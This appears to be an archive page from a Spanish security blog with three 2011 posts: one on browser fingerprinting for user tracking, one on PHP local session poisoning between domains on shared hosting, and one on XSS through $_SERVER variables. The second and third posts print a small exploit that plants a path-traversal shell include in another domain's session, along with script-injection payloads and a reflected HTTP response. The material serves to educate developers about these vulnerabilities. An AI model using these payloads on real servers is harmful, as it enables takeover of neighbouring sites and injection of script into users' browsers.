jueves, 20 de octubre de 2011

Trazabilidad de un usuario

¡Saludos!

El tema de la trazabilidad ha sido largamente discutido en los últimos años debido en parte a las polémicas con la geolocalización, las cookies de seguimiento procedentes de terceros, las supercookies con Local Storage (y en general todo lo que engloba el proyecto evercookie).



El funcionamiento genérico del seguimiento consiste en colocar en distintos dominios scripts que generen un identificador único para cada usuario que visita ese dominio, permitiendo que cuando este usuario visite otro dominio se le pueda reconocer perfectamente. Se puede ver en el siguiente esquema (Long live to Paint!):




1) El usuario visita una web, y al hacerlo se manda una petición a un tercero (empresa de seguimiento) el cual genera un identificador.

2) El identificador es almacenado de forma local en el usuario, en forma de cookie por ejemplo.

3) Cuando ese usuario visita otros dominios que están en relación con la empresa de seguimiento, éste le está enviando su identificación, por lo que pueden tener una relación de páginas visitadas, asiduidad, rutinas, etc. que podrá ser sometidas a un proceso de data mining.


Poco más o menos así es como funcionan en líneas generales. Hasta ahora los esfuerzos por identificar a un usuario para poder controlar sus rutinas han ido encaminados en buscar la permanencia del identificador dentro del navegador del usuario. Pero... ¿por qué no identificar los usuarios por las configuraciones de sus navegadores? Es decir, hacer fingerprinting al navegador para poder identificarlo de forma única.


Existe numerosa información que se puede extraer de un navegador y que sirve para poder cercar y trazar a un usuario en concreto. El idioma, la zona horaria, el user-agent, el SO... son claros ejemplos de datos que se pueden obtener fácilmente y que nos ayudarían a poder identificar el país desde el que se conecta esa persona. Además, cosas más triviales como las fuentes instaladas (dependiendo de qué programas hayamos instalado éstas variaran), la resolución de la pantalla, o los plug-ins activos también son útiles para reducir la incertidumbre.


Un proyecto muy interesante que aborda esta idea es PanoptiClick donde se realiza un análisis bastante exahustivo de las características de nuestro navegador:



Por supuesto que mucha de la información que emplea puede llegar a ser spoofeable, pero es muy complejo llegar a ocultar absolutamente toda esta info y no dejar huella alguna.
5 0verl0ad Labs: octubre 2011 ¡Saludos! El tema de la trazabilidad ha sido largamente discutido en los últimos años debido en parte a las polémicas con la geolocaliz...

viernes, 14 de octubre de 2011

Variables Superglobales que deberías de vigilar (II)


¡Saludos!

Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de ataque. El otro día traté de escribir un poco sobre las variables superglobales $_SERVER[] , hoy vamos a hablar de $_SESSION[] y sus implicaciones en los servidores compartidos entre varios dominios.


$_SESSION es un array donde los programadores suelen incluir datos como las preferencias en la navegación del usuario (theme que usa, idioma, etc.) y que queda guardado en un archivo con el nombre "sess_%SESSION%", siendo session el identificador asignado a tu sesión (lo que habitualmente es enviado en la cookie, y que suele ser PHPSESSID).

Si la aplicación permite al usuario que navega asignar un valor a al array $_SESSION, éste podría incluir algún código malicioso que pudiese aprovechar alguna vulnerabilidad. Por ejemplo se podría utilizar para inyectar shells y explotar un LFI como ya publiqué hace años.


Es lógico pensar que si a este array no se le asignase ningún valor enviado por el usuario no existe la posibilidad de que inyecten código malicioso. Pero no tiene porqué ser así }:D


Los archivos que almacenan las variables asignadas a cada sesión en los dominios compartidos a veces podemos encontrarlos en un mismo directorio para todos esos dominios. Es decir, que un mismo directorio podemos encontrarnos con las sesiones del Dominio A, Dominio B, y del Dominio C. Esto es un gran problema (para el cual existen contramedidas, pero que son bypasseables -dejo un link al final bastante interesante sobre el tema-) puesto que se puede cambiar de sesiones entre los dominios.

De esta forma si alguien consigue tener un usuario en ese servidor podría llegar a spoofear las variables asignadas en otro dominio, o incluir en ellas código malicioso. El caso más común es el de buscar qué dominios están asignados al mismo servidor que el atacante quiere comprometer, tratar de comprometer uno de esos dominios vecinos y desde ahí lanzar el ataque.


Un pequeño PoC (sacado de haxxor security):
(esta sería la aplicación a atacar en el dominio A)
// Starting the session
session_start();

// ...

if(isset($_SESSION['theme']){
include('themes/'.$_SESSION['theme'].'.php');
}else{
include('themes/default.php');
}


Y este sería el exploit ejecutado en el dominio B:


// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['theme'] = '../../../../mallroy/public_html/shell';
// Close the session
session_write_close();



Para más info: Local Session Poisoning in PHP
5 0verl0ad Labs: octubre 2011 ¡Saludos! Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de at...

domingo, 9 de octubre de 2011

Variables Superglobales que deberías vigilar (I)


Saludos,

Tengo el blog (y en general todo lo que es el internet) bastante abandonado por el tema de la universidad que me está absorbiendo demasiado. Aun así os pido disculpas y trataré de ir sacando algún que otro post rápido, como el de hoy.

Normalmente cuando un desarrollador crea una aplicación web en PHP, e intenta securizarla un poco, siempre aplica alguna clase de filtro a las variables que puedan ser manipuladas desde el lado del cliente. También los IDS hacen esto, analizando/filtrando aquellas variables que puedan ser manipuladas maliciosamente: $_GET, $_POST, $_COOKIE y $_REQUEST. Pero... ¿sólamente éstas son manipulables? La respuesta es NO. Existen otras variables que deberíamos de vigilar, como es el caso de $_SERVER y $_SESSION. Hoy veremos un poco de $_SERVER y el próximo día que pueda postear de $_SESSION.


$_SERVER es un array que contiene la información procedente de las cabeceras, así como la ruta de archivos. Los dos ejemplos más clásicos son los XSS (y SQLi) aplicados a PHP_SELF y X-FORWARDED-FOR. La primera variable hace referencia al script que se está ejecutando en relación con el directorio raíz, siendo explotable de esta forma por ejemplo:
www.ejemplo.com/<script>alert(/0verl0ad/)</script>


Por otro lado X-FORWARDED-FOR es utilizado por los proxys para indicar la IP de origen, por lo que suele tener interés para hacer spoofing, aunque últimamente con los sitios de estadísticas y de los que muestran tu propia IP y la geolocalizan, etc. suele emplearse más para inyectar código malicioso (JavaScript o inyecciones de otro tipo).


Al igual que con estas dos variables, existen otras tantas dentro del array de $_SERVER que pueden ser explotadas si son empleadas en el script sin sanitizarlas previamente:


<?php
echo $_SERVER['SERVER_PROTOCOL'];
?>

Si lanzamos una petición corrompida:


GET /p.php <script>alert(8)</script>
Host: ------

HTTP/1.1 200 OK
Date: Sun, 09 Oct 2011 10:59:52 GMT
Server: Apache/2.2.17 (Win32) PHP/5.3.6
X-Powered-By: PHP/5.3.6
Content-Length: 25
Connection: close
Content-Type: text/html

<script>alert(8)</script>



Ya sé que tiene poca chicha esta entrada, espero que la de $_SESSIONS sea más relevante.
5 0verl0ad Labs: octubre 2011 Saludos, Tengo el blog (y en general todo lo que es el internet) bastante abandonado por el tema de la universidad que me está absorbien...
< >